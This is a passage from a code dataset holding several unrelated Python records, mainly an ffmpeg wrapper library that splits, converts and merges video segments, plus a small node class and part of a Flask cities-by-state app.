for the min distance\r\nmultinomial_distance(df_sep_raw, closed_envelopes=False) # for the min distance without 'מעטפות חיצוניות'\r\nmultinomial_distance(df_sep_raw, is_min=False) # for the max distance\r\n","sub_path":"Israel_Elections_Analysis-master/Ex1.py","file_name":"Ex1.py","file_ext":"py","file_size_in_byte":6528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"58564565","text":"#!/usr/bin/env python3\n# encoding=utf8\nimport json\nimport os\nimport random\nimport shutil\nimport subprocess\nfrom time import sleep\nfrom typing import Iterable, List, Iterator\n\nimport ffmpeg\nimport filetype\n\nfrom .os_util import pushd_context, write_json_file, read_json_file, SubscriptableFileIO, ensure_open_file, \\\n fs_find_iter, \\\n fs_rename, fs_touch, shlex_double_quotes_join\nfrom .tricks import hex_hash, decorator_factory_args_choices, remove_from_list, seconds_from_colon_time, \\\n dedup_list\nfrom .log import get_logger\n\nS_ORIGINAL = 'original'\nS_SEGMENT = 'segment'\nS_NON_SEGMENT = 'non segment'\nS_FILENAME = 'filename'\nS_VIDEO = 'video'\nS_OTHER = 'other'\nS_MORE = 'more'\nS_ALL = 'all'\nS_ONLY_VIDEO = 'only video'\nS_ONLY_PICTURE = 'only picture'\nS_ONLY_AUDIO = 'only audio'\nS_ONLY_SUBTITLE = 'only subtitle'\nS_ONLY_DATA = 'only data'\nS_ONLY_ATTACHMENT = 'only attachment'\nS_NO_VIDEO = 'no video'\nS_NO_AUDIO = 'no audio'\nS_NO_SUBTITLE = 'no subtitle'\nS_NO_DATA = 'no data'\nS_NO_ATTACHMENT = 'no attachment'\nS_FIRST_VIDEO = 'first video'\nSTREAM_MAP_PRESET_TABLE = {S_ALL: ['0'], S_ONLY_VIDEO: ['0:V'], S_ONLY_AUDIO: ['0:a'],\n S_ONLY_SUBTITLE: ['0:s'], S_ONLY_ATTACHMENT: ['0:t'], S_ONLY_DATA: ['0:d'],\n S_NO_VIDEO: ['0', '-0:V'], S_NO_AUDIO: ['0', '-0:a'], S_NO_SUBTITLE: ['0', '-0:s'],\n S_NO_ATTACHMENT: ['0', '-0:t'], S_NO_DATA: ['0', '-0:d'],\n S_FIRST_VIDEO: ['0:V:0'], S_ONLY_PICTURE: ['0:v', '-0:V']}\nCODEC_NAME_TO_FILEXT_TABLE = {'mjpeg': '.jpg', 'png': '.png', 'hevc': '.mp4', 'h264': '.mp4', 'vp9': '.webm'}\n\ndecorator_choose_map_preset = decorator_factory_args_choices({'map_preset': STREAM_MAP_PRESET_TABLE.keys()})\n\n\ndef filext_from_codec_name(x) -> str:\n d = CODEC_NAME_TO_FILEXT_TABLE\n if isinstance(x, str):\n return d[x]\n elif isinstance(x, dict) and 'codec_name' in x:\n return d[x['codec_name']]\n else:\n raise TypeError(x)\n\n\ndef excerpt_single_video_stream(filepath: str) -> dict:\n d = {}\n data = ffmpeg.probe(filepath)\n file_format = data['format']\n streams = data['streams']\n if len(streams) == 1:\n single_stream = streams[0]\n if single_stream['codec_type'] == 'video' and single_stream['disposition']['attached_pic'] == 0:\n d['size'] = int(file_format['size'])\n try:\n d['start_time'] = start_time = float(single_stream.get('start_time', file_format['start_time']))\n duration = float(single_stream.get('duration', file_format['duration']))\n d['duration'] = round((duration - start_time), 6)\n except KeyError:\n d['duration'] = float(file_format['duration'])\n d['bit_rate'] = int(8 * d['size'] // d['duration'])\n d['codec_name'] = single_stream['codec_name']\n d['height'] = single_stream['height']\n d['width'] = single_stream['width']\n d['pix_fmt'] = single_stream['pix_fmt']\n return d\n\n\ndef get_real_duration(filepath: str) -> float:\n d = ffmpeg.probe(filepath)['format']\n duration = float(d['duration'])\n start_time = float(d.get('start_time', 0))\n return duration if start_time <= 0 else duration - start_time\n\n\nclass FFmpegArgsList(list):\n def __init__(self, *args, **kwargs):\n super(FFmpegArgsList, self).__init__()\n self.add(*args, **kwargs)\n\n def add_arg(self, arg):\n if isinstance(arg, str):\n self.append(arg)\n elif isinstance(arg, (Iterable, Iterator)):\n for a in arg:\n self.add_arg(a)\n else:\n self.append(str(arg))\n return self\n\n def add_kwarg(self, key: str, value):\n if isinstance(key, str):\n if isinstance(value, str):\n self.append(key)\n self.append(value)\n elif isinstance(value, (Iterable, Iterator)):\n for v in value:\n self.add_kwarg(key, v)\n elif value is True:\n self.append(key)\n elif value is None or value is False:\n pass\n else:\n self.append(key)\n self.append(str(value))\n return self\n\n def add(self, *args, **kwargs):\n for a in args:\n self.add_arg(a)\n for k, v in kwargs.items():\n if k in ('x265_params',):\n self.add_kwarg('-' + k.replace('_', '-'), v)\n else:\n self.add_kwarg('-' + k.replace('__', ':'), v)\n return self\n\n\nclass FFmpegCaller:\n exe = 'ffmpeg'\n head = FFmpegArgsList(exe)\n body = FFmpegArgsList()\n capture_stdout_stderr = False\n\n class FFmpegError(Exception):\n pass\n\n def __init__(self, banner: bool = True, loglevel: str = None, overwrite: bool = None,\n capture_out_err: bool = False):\n self.logger = get_logger('.'.join((__name__, self.__class__.__name__)))\n self.capture_stdout_stderr = capture_out_err\n self.set_head(banner=banner, loglevel=loglevel, overwrite=overwrite)\n\n @property\n def cmd(self):\n return self.head + self.body\n\n def set_head(self, banner: bool = False, loglevel: str = None, threads: int = None, overwrite: bool = None):\n h = FFmpegArgsList(self.exe)\n if not banner:\n h.add('-hide_banner')\n if loglevel:\n h.add(loglevel=loglevel)\n if overwrite is True:\n h.add('-y')\n elif overwrite is False:\n h.add('-n')\n if threads:\n h.add(threads=threads)\n self.head = h\n\n def add_args(self, *args, **kwargs):\n self.body.add(*args, **kwargs)\n\n def reset_args(self):\n self.body = FFmpegArgsList()\n\n def set_map_preset(self, map_preset: str):\n if not map_preset:\n return\n self.add_args(map=STREAM_MAP_PRESET_TABLE[map_preset])\n\n def proc_comm(self, input_bytes: bytes) -> bytes:\n cmd = self.cmd\n self.logger.info(shlex_double_quotes_join(cmd))\n if self.capture_stdout_stderr:\n p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n else:\n p = subprocess.Popen(cmd, stdin=subprocess.PIPE)\n out, err = p.communicate(input_bytes)\n code = p.returncode\n if code:\n raise self.FFmpegError(code, (err or b'<error not captured>').decode())\n else:\n if err:\n self.logger.debug(err.decode())\n return out or b''\n\n def proc_run(self) -> bytes:\n cmd = self.cmd\n self.logger.info(shlex_double_quotes_join(cmd))\n if self.capture_stdout_stderr:\n p = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n else:\n p = subprocess.run(cmd)\n code = p.returncode\n if code:\n raise self.FFmpegError(code, (p.stderr or b'<error not captured>').decode())\n else:\n if p.stderr:\n self.logger.debug(p.stderr.decode())\n return p.stdout or b''\n\n @decorator_choose_map_preset\n def concat(self, input_paths: Iterable[str] or Iterator[str], output_path: str,\n output_args: Iterable[str] or Iterator[str] = (), *,\n concat_demuxer: bool = False, extra_inputs: Iterable or Iterator = (),\n start: float or int or str = 0, end: float or int or str = 0,\n copy_all: bool = True, map_preset: str = None, metadata_file: str = None,\n **output_kwargs):\n if isinstance(start, str):\n start = seconds_from_colon_time(start)\n if isinstance(end, str):\n end = seconds_from_colon_time(end)\n if start < 0:\n start = max([get_real_duration(f) for f in input_paths]) + start\n if end < 0:\n end = max([get_real_duration(f) for f in input_paths]) + end\n self.reset_args()\n if start:\n self.add_args(ss=start)\n input_count = 0\n if concat_demuxer:\n concat_list = None\n for file in input_paths:\n input_count += 1\n self.add_args(safe=0, protocol_whitelist='file', f='concat', i=file)\n else:\n input_count += 1\n concat_list = '\\n'.join(['file \\'{}\\''.format(e) for e in input_paths])\n self.add_args(f='concat', safe=0, protocol_whitelist='file,pipe', i='-')\n if extra_inputs:\n input_count += len(extra_inputs)\n self.add_args(i=extra_inputs)\n if metadata_file:\n self.add_args(i=metadata_file, map_metadata=input_count)\n if end:\n self.add_args(t=end - start if start else end)\n if copy_all:\n self.add_args(c='copy')\n if not map_preset:\n self.add_args(map=range(input_count))\n self.set_map_preset(map_preset)\n self.add_args(*output_args, **output_kwargs)\n self.add_args(output_path)\n if concat_list:\n return self.proc_comm(concat_list.encode())\n else:\n return self.proc_run()\n\n @decorator_choose_map_preset\n def segment(self, input_path: str, output_path: str = None,\n output_args: Iterable[str] or Iterator[str] = (), *,\n copy: bool = True, reset_time: bool = True,\n map_preset: str = None, **output_kwargs):\n self.reset_args()\n if not output_path:\n output_path = '%d' + os.path.splitext(input_path)[-1]\n self.add_args(i=input_path, f='segment')\n if copy:\n self.add_args(c='copy')\n if reset_time:\n self.add_args(reset_timestamps=1)\n self.set_map_preset(map_preset)\n self.add_args(*output_args, **output_kwargs)\n self.add_args(output_path)\n return self.proc_run()\n\n def metadata_file(self, input_path: str, output_path: str):\n self.reset_args()\n self.add_args(i=input_path, f='ffmetadata')\n self.add_args(output_path)\n return self.proc_run()\n\n @decorator_choose_map_preset\n def convert(self, input_paths: Iterable[str] or Iterator[str], output_path: str,\n output_args: Iterable[str] or Iterator[str] = (), *,\n start: float or int or str = 0, end: float or int or str = 0,\n copy_all: bool = False, map_preset: str = None, metadata_file: str = None,\n **output_kwargs):\n if isinstance(start, str):\n start = seconds_from_colon_time(start)\n if isinstance(end, str):\n end = seconds_from_colon_time(end)\n if start < 0:\n start = max([get_real_duration(f) for f in input_paths]) + start\n if end < 0:\n end = max([get_real_duration(f) for f in input_paths]) + end\n self.reset_args()\n\n if start:\n self.add_args(ss=start)\n self.add_args(i=input_paths)\n if metadata_file:\n self.add_args(i=metadata_file, map_metadata=len(input_paths))\n if end:\n self.add_args(t=end - start if start else end)\n\n if copy_all:\n self.add_args(c='copy')\n if not map_preset:\n self.add_args(map=len(input_paths) - 1)\n self.set_map_preset(map_preset)\n self.add_args(*output_args, **output_kwargs)\n self.add_args(output_path)\n return self.proc_run()\n\n\nclass FFmpegSegmentsContainer:\n nickname = 'ffsegcon'\n logger = get_logger('.'.join((__name__, nickname)))\n ffcmd = FFmpegCaller(banner=False, loglevel='warning', overwrite=True, capture_out_err=True)\n tag_file = 'FFMPEG_SEGMENTS_CONTAINER.TAG'\n tag_sig = 'Signature: ' + hex_hash(tag_file.encode())\n picture_file = 'p.mp4'\n non_visual_file = 'nv.mkv'\n test_json = 't.json'\n metadata_file = 'metadata.txt'\n concat_list_file = 'concat.txt'\n suffix_done = '.DONE'\n suffix_lock = '.LOCK'\n suffix_delete = '.DELETE'\n segment_filename_regex_pattern = r'^\\d+\\.[^.]+'\n input_filename_prefix = 'i='\n input_json = 'i.json'\n input_prefix = 'i-'\n input_picture = input_prefix + picture_file\n input_non_visual = input_prefix + non_visual_file\n input_filepath = None\n input_data = None\n output_filename_prefix = 'o='\n output_prefix = 'o-'\n output_json = 'o.json'\n output_data = None\n\n class PathError(Exception):\n pass\n\n class ContainerError(Exception):\n pass\n\n class SegmentLockedError(Exception):\n pass\n\n class SegmentNotDoneError(Exception):\n pass\n\n class SegmentDeleteRequest(Exception):\n pass\n\n class SegmentMissing(Exception):\n pass\n\n def __repr__(self):\n return \"{} at '{}' from '{}'\".format(FFmpegSegmentsContainer.__name__, self.root, self.input_filepath)\n\n def __init__(self, path: str, work_dir: str = None, single_video_stream: bool = True):\n path = os.path.abspath(path)\n select_streams = 'V:0' if single_video_stream else 'V'\n if not os.path.exists(path):\n raise self.PathError(\"path not exist: '{}'\".format(path))\n\n if os.path.isfile(path):\n self.input_filepath = path\n if filetype.guess(path).mime.startswith('video'):\n d, b = os.path.split(path)\n self.input_data = {S_FILENAME: b, S_SEGMENT: {}, S_NON_SEGMENT: {}}\n with SubscriptableFileIO(path) as f:\n middle = f.size // 2\n root_base = '.{}-{}'.format(self.nickname, hex_hash(\n f[:4096] + f[middle - 2048:middle + 2048] + f[-4096:])[:8])\n work_dir = work_dir or d\n path = self.root = os.path.join(work_dir, root_base) # file path -> dir path\n else:\n raise self.PathError(\"non-video file: '{}'\".format(path))\n\n if not os.path.isdir(path):\n try:\n os.makedirs(path, exist_ok=True)\n except FileExistsError:\n raise self.PathError(\"invalid folder path used by file: '{}'\".format(path))\n self.tag_container_folder()\n self.split(select_streams=select_streams)\n\n if os.path.isdir(path):\n self.root = path\n if not self.container_is_tagged():\n raise self.ContainerError(\"non-container folder: '{}'\".format(path))\n if not self.is_split():\n self.split(select_streams=select_streams)\n self.read_input_json()\n if S_FILENAME not in self.input_data:\n self.read_filename()\n self.read_output_json()\n\n def write_filename(self):\n fn = self.input_data.get(S_FILENAME)\n if not fn:\n return\n with pushd_context(self.root):\n prefix = self.input_filename_prefix\n for f in fs_find_iter(pattern=prefix + '*', recursive=False, strip_root=True):\n fs_rename(f, prefix + fn, append_src_ext=False)\n break\n else:\n ensure_open_file(prefix + fn)\n\n def read_filename(self):\n with pushd_context(self.root):\n prefix = self.input_filename_prefix\n for f in fs_find_iter(pattern=prefix + '*', recursive=False, strip_root=True):\n filename = f.lstrip(prefix)\n self.input_data[S_FILENAME] = filename\n return filename\n else:\n raise self.ContainerError('no filename found')\n\n def split(self, select_streams='V:0'):\n i_file = self.input_filepath\n if not i_file:\n raise self.ContainerError('no input filepath')\n d = self.input_data or {S_SEGMENT: {}, S_NON_SEGMENT: {}}\n\n with pushd_context(self.root):\n for stream in ffmpeg.probe(i_file, select_streams=select_streams)['streams']:\n index = stream['index']\n # codec = stream['codec_name']\n # suitable_filext = CODEC_NAME_TO_FILEXT_TABLE.get(codec)\n # segment_output = '%d' + suitable_filext if suitable_filext else None\n segment_output = '%d.mkv'\n index = str(index)\n d[S_SEGMENT][index] = {}\n seg_folder = self.input_prefix + index\n os.makedirs(seg_folder, exist_ok=True)\n with pushd_context(seg_folder):\n self.ffcmd.segment(i_file, segment_output, map='0:{}'.format(index))\n try:\n self.ffcmd.convert([i_file], self.input_picture, copy_all=True, map_preset=S_ONLY_PICTURE)\n d[S_NON_SEGMENT][self.picture_file] = {}\n except self.ffcmd.FFmpegError:\n pass\n try:\n self.ffcmd.convert([i_file], self.input_non_visual, copy_all=True, map_preset=S_ALL, map='-0:v')\n d[S_NON_SEGMENT][self.non_visual_file] = {}\n except self.ffcmd.FFmpegError:\n pass\n\n self.input_data = d\n self.write_metadata()\n self.write_input_json()\n\n def write_metadata(self):\n with pushd_context(self.root):\n self.ffcmd.metadata_file(self.input_filepath, self.metadata_file)\n with open(self.metadata_file, encoding='utf8') as f:\n meta_lines = f.readlines()\n meta_lines = [line for line in meta_lines if line.partition('=')[0] not in\n ('encoder', 'major_brand', 'minor_version', 'compatible_brands', 'compilation', 'media_type')]\n with open(self.metadata_file, 'w', encoding='utf8') as f:\n f.writelines(meta_lines)\n\n def write_input_json(self):\n d = self.input_data or {}\n prefix = self.input_prefix\n\n with pushd_context(self.root):\n for k in d[S_SEGMENT]:\n seg_folder = prefix + k\n d[S_SEGMENT][k] = {}\n with pushd_context(seg_folder):\n for file in fs_find_iter(pattern=self.segment_filename_regex_pattern, regex=True,\n recursive=False, strip_root=True):\n d[S_SEGMENT][k][file] = excerpt_single_video_stream(file)\n for k in d[S_NON_SEGMENT]:\n file = prefix + k\n if os.path.isfile(file):\n d[S_NON_SEGMENT][k] = ffmpeg.probe(file)\n else:\n del d[S_NON_SEGMENT][k]\n write_json_file(self.input_json, d, indent=4)\n\n self.input_data = d\n\n def read_input_json(self):\n with pushd_context(self.root):\n self.input_data = read_json_file(self.input_json)\n self.write_filename()\n return self.input_data\n\n def read_output_json(self):\n with pushd_context(self.root):\n self.output_data = read_json_file(self.output_json)\n if not self.output_data:\n self.config()\n self.output_data = read_json_file(self.output_json)\n return self.output_data\n\n def write_output_json(self):\n with pushd_context(self.root):\n write_json_file(self.output_json, self.output_data, indent=4)\n\n def tag_container_folder(self):\n with pushd_context(self.root):\n with open(self.tag_file, 'w') as f:\n f.write(self.tag_sig)\n\n def container_is_tagged(self) -> bool:\n with pushd_context(self.root):\n try:\n with open(self.tag_file) as f:\n return f.readline().rstrip('\\r\\n') == self.tag_sig\n except FileNotFoundError:\n return False\n\n def is_split(self) -> bool:\n return bool(self.read_input_json())\n\n def purge(self):\n shutil.rmtree(self.root)\n self.__dict__ = {}\n\n def config(self,\n video_args: FFmpegArgsList = None,\n other_args: FFmpegArgsList = None,\n more_args: FFmpegArgsList = None,\n non_visual_map: Iterable[str] or Iterator[str] = (),\n filename: str = None,\n **kwargs):\n video_args = video_args or FFmpegArgsList()\n other_args = other_args or FFmpegArgsList()\n more_args = more_args or FFmpegArgsList()\n videos = self.input_data[S_SEGMENT].keys()\n others = self.input_data[S_NON_SEGMENT].keys()\n need_map = True if len(videos) > 1 or self.picture_file in others else False\n d = self.output_data or {}\n d[S_ORIGINAL] = {'video_args': video_args,\n 'other_args': other_args,\n 'more_args': more_args,\n 'non_visual_map': non_visual_map,\n 'filename': filename,\n **kwargs}\n input_count = 0\n\n d[S_VIDEO] = []\n for index in videos:\n args = FFmpegArgsList()\n if need_map:\n args.add(map=input_count)\n i_args = os.path.join(self.output_prefix + index, self.concat_list_file), args\n d[S_VIDEO].append(i_args)\n input_count += 1\n\n d[S_OTHER] = []\n for o in others:\n args = FFmpegArgsList()\n if o == self.non_visual_file:\n if non_visual_map:\n for m in non_visual_map:\n if m.startswith('-'):\n args.add(map='-{}:{}'.format(input_count, m.lstrip('-')))\n else:\n args.add(map='{}:{}'.format(input_count, m))\n elif need_map:\n args.add(map=input_count)\n args += other_args\n i_args = self.input_prefix + o, args\n d[S_OTHER].append(i_args)\n else:\n if need_map:\n args.add(map=input_count)\n i_args = self.input_prefix + o, args\n d[S_OTHER].append(i_args)\n input_count += 1\n\n d[S_SEGMENT] = video_args\n d[S_MORE] = FFmpegArgsList(vcodec='copy') + more_args\n d[S_FILENAME] = filename or self.input_data[S_FILENAME]\n d['kwargs'] = kwargs\n\n self.output_data = d\n self.write_output_json()\n self.write_output_concat_list_file()\n\n def config_other_args(self, other_args: FFmpegArgsList):\n conf = self.read_output_json()\n conf[S_ORIGINAL]['other_args'] = other_args\n self.config(**conf[S_ORIGINAL])\n\n def config_more_args(self, more_args: FFmpegArgsList):\n conf = self.read_output_json()\n conf[S_ORIGINAL]['more_args'] = more_args\n self.config(**conf[S_ORIGINAL])\n\n def config_non_visual_map(self, non_visual_map: Iterable[str] or Iterator[str]):\n conf = self.read_output_json()\n conf[S_ORIGINAL]['non_visual_map'] = non_visual_map\n self.config(**conf[S_ORIGINAL])\n\n def config_kwargs(self, **kwargs):\n conf = self.read_output_json()\n conf[S_ORIGINAL].update(kwargs)\n self.config(**conf[S_ORIGINAL])\n\n def config_filename(self, filename):\n conf = self.read_output_json()\n conf[S_ORIGINAL][S_FILENAME] = filename\n self.config(**conf[S_ORIGINAL])\n\n def config_video(self, video_args: FFmpegArgsList = None, crf: int = None, vf=None, s=None, ):\n conf = self.read_output_json()\n video_args = video_args or FFmpegArgsList()\n video_args.add(crf=crf, vf=vf, s=s)\n conf[S_ORIGINAL]['video_args'] = video_args\n self.config(**conf[S_ORIGINAL])\n\n def config_hevc(self, video_args: FFmpegArgsList = None, crf: int = None, vf=None, s=None,\n x265_log_level: str = 'error', **x265_params):\n conf = self.read_output_json()\n video_args = video_args or FFmpegArgsList()\n x265_params_s = f'log-level={x265_log_level}'\n for k in x265_params:\n k_s = k.replace('_', '-')\n x265_params_s += f':{k_s}={x265_params[k]}'\n video_args.add(vcodec='hevc', x265_params=f'{x265_params_s}', crf=crf, vf=vf, s=s)\n conf[S_ORIGINAL]['video_args'] = video_args\n self.config(**conf[S_ORIGINAL])\n\n def config_qsv264(self, video_args: FFmpegArgsList = None, crf: int = None, vf=None, s=None, ):\n conf = self.read_output_json()\n video_args = video_args or FFmpegArgsList()\n video_args.add(vcodec='h264_qsv', global_quality=crf, vf=vf, s=s)\n conf[S_ORIGINAL]['video_args'] = video_args\n self.config(**conf[S_ORIGINAL])\n\n def merge(self):\n if not self.read_output_json():\n raise self.ContainerError('no output config')\n if self.get_lock_segments() or \\\n len(self.get_done_segments()) != len(self.get_all_segments()):\n raise self.SegmentMissing\n d = self.output_data\n concat_list = []\n extra_input_list = []\n output_args = []\n for i, args in d[S_VIDEO]:\n concat_list.append(i)\n output_args.extend(args)\n for i, args in d[S_OTHER]:\n extra_input_list.append(i)\n output_args.extend(args)\n output_args.extend(d[S_MORE])\n with pushd_context(self.root):\n self.ffcmd.concat(concat_list, d[S_FILENAME], output_args,\n concat_demuxer=True, extra_inputs=extra_input_list, copy_all=False,\n metadata_file=self.metadata_file,\n **d['kwargs'])\n\n def write_output_concat_list_file(self):\n with pushd_context(self.root):\n d = self.input_data[S_SEGMENT]\n for index in d:\n folder = self.output_prefix + index\n os.makedirs(folder, exist_ok=True)\n with pushd_context(folder):\n lines = [\"file '{}'\".format(os.path.join(folder, seg)) for seg in\n sorted(d[index].keys(), key=lambda x: int(os.path.splitext(x)[0]))]\n with ensure_open_file(self.concat_list_file, 'w') as f:\n f.write('\\n'.join(lines))\n\n def file_has_lock(self, filepath):\n return os.path.isfile(filepath + self.suffix_lock)\n\n def file_has_done(self, filepath):\n return os.path.isfile(filepath + self.suffix_done)\n\n def file_has_delete(self, filepath):\n return os.path.isfile(filepath + self.suffix_delete)\n\n def get_all_segments(self):\n segments = []\n for i, d in self.input_data[S_SEGMENT].items():\n segments.extend((i, f) for f in d)\n return segments\n\n def get_untouched_segments(self):\n all_segments = self.get_all_segments()\n lock_segments = self.get_lock_segments()\n done_segments = self.get_done_segments()\n return remove_from_list(remove_from_list(all_segments, lock_segments), done_segments)\n\n def get_lock_segments(self):\n segments = []\n prefix = self.output_prefix\n with pushd_context(self.root):\n for index in self.input_data[S_SEGMENT]:\n with pushd_context(prefix + index):\n segments.extend([(index, f.rstrip(self.suffix_lock)) for f in\n fs_find_iter('*' + self.suffix_lock)])\n return segments\n\n def get_done_segments(self):\n segments = []\n prefix = self.output_prefix\n with pushd_context(self.root):\n for index in self.input_data[S_SEGMENT]:\n with pushd_context(prefix + index):\n segments.extend([(index, f.rstrip(self.suffix_done)) for f in\n fs_find_iter('*' + self.suffix_done)])\n return segments\n\n def convert(self, overwrite: bool = False):\n if overwrite:\n def get_segments():\n return self.get_all_segments()\n else:\n def get_segments():\n return self.get_untouched_segments()\n segments = get_segments()\n while segments:\n # stream_id, segment_file = random.choice(segments)\n stream_id, segment_file = segments.pop(0)\n self.convert_one_segment(stream_id, segment_file, overwrite=overwrite)\n\n def nap(self):\n t = round(random.uniform(0.2, 0.4), 3)\n self.logger.debug('sleep {}s'.format(t))\n sleep(t)\n\n def file_tag_lock(self, filepath):\n if self.file_has_lock(filepath) or self.file_has_done(filepath):\n return\n else:\n fs_touch(filepath + self.suffix_lock)\n\n def file_tag_unlock(self, filepath):\n if self.file_has_lock(filepath):\n os.remove(filepath + self.suffix_lock)\n\n def file_tag_done(self, filepath):\n if self.file_has_done(filepath):\n return\n if self.file_has_lock(filepath):\n fs_rename(filepath + self.suffix_lock, filepath + self.suffix_done,\n stay_in_src_dir=False, append_src_ext=False)\n\n def file_tag_delete(self, filepath):\n fs_touch(filepath + self.suffix_delete)\n\n def convert_one_segment(self, stream_id, segment_file, overwrite=False) -> dict:\n segment_path_no_prefix = os.path.join(stream_id, segment_file)\n i_seg = self.input_prefix + segment_path_no_prefix\n o_seg = self.output_prefix + segment_path_no_prefix\n args = self.output_data[S_SEGMENT]\n with pushd_context(self.root):\n self.nap()\n if self.file_has_lock(o_seg):\n raise self.SegmentLockedError\n if not overwrite and self.file_has_done(o_seg):\n return self.get_done_segment_info(filepath=o_seg)\n self.file_tag_lock(o_seg)\n try:\n saved_error = None\n self.ffcmd.convert([i_seg], o_seg, args)\n self.nap()\n if self.file_has_delete(o_seg):\n self.logger.info('delete {}'.format(o_seg))\n os.remove(o_seg)\n raise self.SegmentDeleteRequest\n else:\n self.file_tag_done(o_seg)\n return self.get_done_segment_info(filepath=o_seg)\n except Exception as e:\n saved_error = e\n finally:\n self.file_tag_unlock(o_seg)\n if saved_error:\n raise saved_error\n\n def get_done_segment_info(self, stream_id=None, segment_filename=None, filepath=None) -> dict:\n if filepath:\n o_seg = filepath\n else:\n o_seg = os.path.join(self.output_prefix + stream_id, segment_filename)\n with pushd_context(self.root):\n if not self.file_has_done(o_seg):\n raise self.SegmentNotDoneError\n return excerpt_single_video_stream(o_seg)\n\n def estimate(self, overwrite=True) -> dict:\n d = {}\n segments = self.input_data[S_SEGMENT]\n for stream_id in segments:\n d[stream_id] = sd = {}\n segments_sorted_by_rate = sorted([(k, v) for k, v in segments[stream_id].items() if v['duration'] >= 1],\n key=lambda x: x[-1]['bit_rate'])\n min_rate_seg_f, min_rate_seg_d = segments_sorted_by_rate[0]\n max_rate_seg_f, max_rate_seg_d = segments_sorted_by_rate[-1]\n sd['min'] = {'file': min_rate_seg_f, 'input': min_rate_seg_d,\n 'output': self.convert_one_segment(stream_id, min_rate_seg_f,\n overwrite=overwrite)}\n sd['max'] = {'file': max_rate_seg_f, 'input': max_rate_seg_d,\n 'output': self.convert_one_segment(stream_id, max_rate_seg_f,\n overwrite=overwrite)}\n sd['min']['ratio'] = round(sd['min']['output']['bit_rate'] / sd['min']['input']['bit_rate'], 3)\n sd['max']['ratio'] = round(sd['max']['output']['bit_rate'] / sd['max']['input']['bit_rate'], 3)\n\n k = (sd['max']['output']['bit_rate'] - sd['min']['output']['bit_rate']) / (\n sd['max']['input']['bit_rate'] - sd['min']['input']['bit_rate'])\n\n def linear_estimate(input_bit_rate):\n return k * (input_bit_rate - sd['min']['input']['bit_rate']) + sd['min']['output']['bit_rate']\n\n total_duration = 0\n total_input_size = 0\n estimated_output_size = 0\n for seg_d in segments[stream_id].values():\n estimated_bit_rate = linear_estimate(seg_d['bit_rate'])\n duration = seg_d['duration']\n total_duration += duration\n total_input_size += seg_d['size']\n estimated_output_size += duration * estimated_bit_rate // 8\n sd['estimate'] = {'type': 'linear',\n 'size': int(estimated_output_size),\n 'duration': total_duration,\n 'bit_rate': 8 * estimated_output_size // total_duration,\n 'ratio': round(estimated_output_size / total_input_size, 3)}\n\n with pushd_context(self.root):\n write_json_file(self.test_json, d, indent=4)\n return {k: v['estimate']['ratio'] for k, v in d.items()}\n\n def clear(self):\n with pushd_context(self.root):\n segments = self.get_lock_segments() + self.get_done_segments()\n while segments:\n for i, seg in segments:\n o_seg = os.path.join(self.output_prefix + i, seg)\n if not os.path.isfile(o_seg):\n continue\n elif self.file_has_done(o_seg):\n self.logger.info('delete done segment {}'.format(o_seg))\n os.remove(o_seg)\n os.remove(o_seg + self.suffix_done)\n elif self.file_has_lock(o_seg):\n self.logger.info('request delete locked segment {}'.format(o_seg))\n fs_touch(o_seg + self.suffix_delete)\n else:\n self.logger.info('delete stub segment{}'.format(o_seg))\n os.remove(o_seg)\n if self.file_has_delete(o_seg):\n os.remove(o_seg + self.suffix_delete)\n segments = self.get_lock_segments() + self.get_done_segments()\n\n def vf_scale_down_res(self, within='FHD'):\n height, width = self.width_height\n return make_ffmpeg_vf_scale_down_res(width, height, within=within)\n\n @property\n def width_height(self):\n seg0 = self.get_all_segments()[0]\n i, f = seg0\n seg0_d = self.input_data[S_SEGMENT][i][f]\n width = seg0_d['width']\n height = seg0_d['height']\n return height, width\n\n\ndef make_ffmpeg_vf_scale_down_res(width: int, height: int, within='FHD'):\n \"\"\"generate 'scale=<w>:<h>' value for ffmpeg `vf` option, to scale down the given resolution\n return empty str if the given resolution is enough low thus scaling is not needed\"\"\"\n side_len = {'fhd': (1920, 1080), 'hd': (1280, 720)}\n auto_calc = -2\n within = within.lower()\n tgt_long, tgt_short = side_len[within]\n long = max((width, height))\n short = min((width, height))\n if long <= tgt_long and short <= tgt_short:\n return ''\n ratio = short / long\n tgt_ratio = tgt_short / tgt_long\n narrow = False if ratio > tgt_ratio else True\n portrait = True if height > width else False\n baseline = tgt_long if narrow else tgt_short\n value = f'{baseline}:{auto_calc}' if narrow ^ portrait else f'{auto_calc}:{baseline}'\n return 'scale=' + value\n","sub_path":"mylib/ffmpeg.py","file_name":"ffmpeg.py","file_ext":"py","file_size_in_byte":35721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"311973755","text":"from BaseObject import BaseObject\nfrom SfSceneComponent import SfSceneComponent\n\nclass Add(BaseObject, SfSceneComponent):\n def __init__(self,attr):\n BaseObject.__init__(self, attr['name'], 'add')\n SfSceneComponent.__init__(self, attr.get('pixmap', ''))\n\n def step(self):\n totalInput=0\n inputs=self.getInputs()\n for inp in inputs:\n totalInput += inp.step()\n outputs=self.getOutputs()\n if(len(outputs)>0):\n outputs[0].setValue(totalInput)\n return outputs[0].getValue()\n else:\n return 0","sub_path":"frontend/object/Add.py","file_name":"Add.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"569004988","text":"#!/usr/bin/python3\n'''\n Starts a Flask web application listening on 0.0.0.0:5000. Used to\n retrieve objects from storage and rendered into HTML.\n'''\nfrom models import storage\nfrom flask import Flask\nfrom flask import render_template\nfrom models import State\napp = Flask(__name__)\n\n\n@app.route(\"/cities_by_states\", strict_slashes=False)\ndef cities_by_states():\n db = storage.all()\n cities = []\n states = []\n for key, value in db.items():\n if \"State\" in key:\n states.append(value)\n for city in value.cities:\n if city.state_id == value.id:\n cities.append(city)\n return render_template(\"8-cities_by_states.html\", cities=cities,\n states=states)\n\n\n@app.teardown_appcontext\ndef teardown_db(exception):\n storage.close()\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", 